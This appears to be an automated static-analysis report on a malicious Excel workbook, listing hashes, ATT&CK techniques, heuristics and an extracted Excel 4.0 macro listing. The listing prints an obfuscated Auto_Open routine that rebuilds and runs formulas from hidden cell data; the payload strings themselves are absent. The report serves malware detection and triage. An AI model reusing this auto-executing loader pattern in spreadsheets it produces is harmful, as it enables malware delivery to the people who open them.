Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d636f8c0abe57b87…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:32:12 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: e338ffab45f49f187c893fe8ffc780b0 SHA-1: 3da2d481bb760fe70dbb68d11bbf11c15b1f7919 SHA-256: d636f8c0abe57b875a1d62b624c486291424e6fc0459598236cf46bd22e769bf
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 (XLM) macros with an Auto_Open defined name, which is a common technique for executing malicious code upon opening the document. The macro sheet itself contains obfuscated data, suggesting it is designed to perform malicious actions such as downloading and executing a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6447 bytes
SHA-256: 2705284fec41194e56d894432621a2a91320e43e245dd7659b5d995a20353dfc
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ftApcU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C141 
' 0018     23 LABEL : Cell Value, String Constant - BNAaalLf len=0 
' 0018     21 LABEL : Cell Value, String Constant - CitfRM len=0 
' 0018     22 LABEL : Cell Value, String Constant - CoPtTZE len=0 
' 0018     23 LABEL : Cell Value, String Constant - DHjJzgJR len=0 
' 0018     26 LABEL : Cell Value, String Constant - dnqGdOaImLR len=0 
' 0018     20 LABEL : Cell Value, String Constant - FaGxd len=0 
' 0018     26 LABEL : Cell Value, String Constant - FHsqsMZsjIL len=0 
' 0018     20 LABEL : Cell Value, String Constant - JCuTZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - msHnjrN len=0 
' 0018     24 LABEL : Cell Value, String Constant - nijNZghdh len=0 
' 0018     24 LABEL : Cell Value, String Constant - qLETaIBIb len=0 
' 0018     22 LABEL : Cell Value, String Constant - QmFiVlZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - RAOiUa len=0 
' 0018     25 LABEL : Cell Value, String Constant - sexSVlozTp len=0 
' 0018     24 LABEL : Cell Value, String Constant - waiKSvKta len=0 
' 0018     23 LABEL : Cell Value, String Constant - wJenmDho len=0 
' 0018     23 LABEL : Cell Value, String Constant - XRLEycVX len=0 
' 0018     24 LABEL : Cell Value, String Constant - xsmVvsxWE len=0 
' 0018     22 LABEL : Cell Value, String Constant - YXgSfjt len=0 
' 0018     25 LABEL : Cell Value, String Constant - yXyILseYAQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ftApcU,C52,"SET.NAME("dnqGdOaImLR",VALUE("0"))",""
'  ftApcU,C55,"SET.NAME("JCuTZ",dnqGdOaImLR)",""
'  ftApcU,C60,"SET.NAME("CoPtTZE",dnqGdOaImLR)",""
'  ftApcU,C64,"SET.NAME("QmFiVlZ",COUNTA(DHjJzgJR))",""
'  ftApcU,C66,"SET.NAME("CitfRM",COUNTA(xsmVvsxWE))",""
'  ftApcU,C68,[],""
'  ftApcU,C73,"SET.NAME("YXgSfjt","")",""
'  ftApcU,C75,"JCuTZ",""
'  ftApcU,C80,"SET.NAME("FaGxd",HLOOKUP("*",DHjJzgJR,JCuTZ,FALSE))",""
'  ftApcU,C85,"BNAaalLf",""
'  ftApcU,C88,"SET.NAME("msHnjrN",dnqGdOaImLR)",""
'  ftApcU,C90,[],""
'  ftApcU,C92,"msHnjrN",""
'  ftApcU,C97,"RAOiUa",""
'  ftApcU,C101,"yXyILseYAQ",""
'  ftApcU,C105,"FHsqsMZsjIL",""
'  ftApcU,C107,"SET.NAME("sexSVlozTp",VALUE(HLOOKUP("*",xsmVvsxWE,FHsqsMZsjIL,FALSE)))",""
'  ftApcU,C109,"nijNZghdh",""
'  ftApcU,C112,"YXgSfjt",""
'  ftApcU,C115,"CoPtTZE",""
'  ftApcU,C118,NEXT(),""
'  ftApcU,C123,"qLETaIBIb",""
'  ftApcU,C127,"SET.NAME("f",INT(T(FORMULA(T(YXgSfjt)&"",""&T(qLETaIBIb)))))",""
'  ftApcU,C130,"waiKSvKta",""
'  ftApcU,C132,NEXT(),""
'  ftApcU,C136,RETURN(),""
'  ftApcU,C168,"SET.NAME("XRLEycVX",C52)",""
'  ftApcU,C170,"DHjJzgJR",""
'  ftApcU,C175,"SET.NAME("xsmVvsxWE",R64C11)",""
'  ftApcU,C179,"SET.NAME("waiKSvKta",188)",""
'  ftApcU,C184,"SET.NAME("wJenmDho",3)",""
'  ftApcU,C187,XRLEycVX(),""
'  ftApcU,C188,HALT(),""

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